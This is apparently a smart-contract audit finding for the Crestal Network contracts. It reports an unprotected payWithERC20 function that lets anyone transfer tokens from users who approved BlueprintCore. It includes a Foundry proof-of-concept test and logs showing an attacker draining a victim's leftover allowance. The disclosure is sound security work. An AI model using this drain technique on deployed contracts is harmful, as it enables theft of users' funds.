Shaggy Opal Beaver

High

# Unprotected payWithERC20 Function allows complete theft of tokens

## Summary

The `payWithERC20` function in the `Payment` contract (inherited by `BlueprintCore`) lacks proper access controls, allowing any user to call it directly and transfer tokens from any address that has approved the `BlueprintCore` contract to spend their tokens.

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L8


## Details

An attacker can steal ERC20 tokens from users who have given allowance to the `BlueprintCore` contract. When users approve tokens for legitimate operations (e.g., `createAgentWithToken`), they typically approve more than the exact amount required. An attacker can exploit this by directly calling the unprotected `payWithERC20` function to drain the remaining allowance, transferring tokens to any address they choose.

Here's the unprotected function:

```solidity
    function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) public {
        // check from and to address
        require(fromAddress != toAddress, "Cannot transfer to self address");
        require(toAddress != address(0), "Invalid to address");
        require(amount > 0, "Amount must be greater than 0");
        IERC20 token = IERC20(erc20TokenAddress);
        token.safeTransferFrom(fromAddress, toAddress, amount);
    }
```

Possible scenario: Alice might want to create more than one agent, so she’d give some excess allowance, or, she’d just trust the protocol and give max allowance. 

Bob can steal Alice’s tokens by calling the `payWithERC20` because, BlueprintCore contract inherits from Payment contract, which means any function in the Payment contract is callable from BlueprintCore contract.

### Preconditions
- user approves the Blueprint contract with an amount exceeding the price of one agent

### POC

Add this test to BlueprintV5.t.sol test file

```solidity
    address public Alice = address(0xA11CE);
    address public Bob = address(0xB0B);
    
function test_createAgentWithToken_drain() public {
        deal(address(mockToken), Alice, 10e18);
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://example.com";

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));

        // set 1e18 cost for create agents
        blueprint.setCreateAgentTokenCost(address(mockToken), 1e18);

        //console.log Alice balance before create agent
        uint256 aliceBalanceBefore = mockToken.balanceOf(Alice);
        console.log("Alice balance before create agent", aliceBalanceBefore);

        //Alice create agent with token
        vm.startPrank(Alice);
        //approve blueprint to spend tokens
        mockToken.approve(address(blueprint), 10e18);
        bytes32 requestId =
            blueprint.createAgentWithToken(projectId, base64Proposal, workerAddress, serverURL, address(mockToken));
        vm.stopPrank();

        //console.log Alice balance after create agent
        uint256 aliceBalanceAfter = mockToken.balanceOf(Alice);
        console.log("Alice balance after create agent", aliceBalanceAfter);

        //bob balance before attack
        uint256 bobBalanceBefore = mockToken.balanceOf(Bob);
        console.log("Bob balance before attack", bobBalanceBefore);

        //Bob drain Alice's balance
        vm.startPrank(Bob);
        blueprint.payWithERC20(address(mockToken), 9e18, Alice, Bob);
        vm.stopPrank();
        console.log("Alice balance after attack", mockToken.balanceOf(Alice));
        console.log("Bob balance after attack", mockToken.balanceOf(Bob));
    }

```

Test results:

```bash
 test_createAgentWithToken_drain() (gas: 531244)
Logs:
  Alice balance before create agent 10000000000000000000
  Alice balance after create agent 9000000000000000000
  Bob balance before attack 0
  Alice balance after attack 0
  Bob balance after attack 9000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.66ms (730.19µs CPU time)

```

### Impact

Complete theft of funds.

### Recommendation

You might consider implementing proper access control.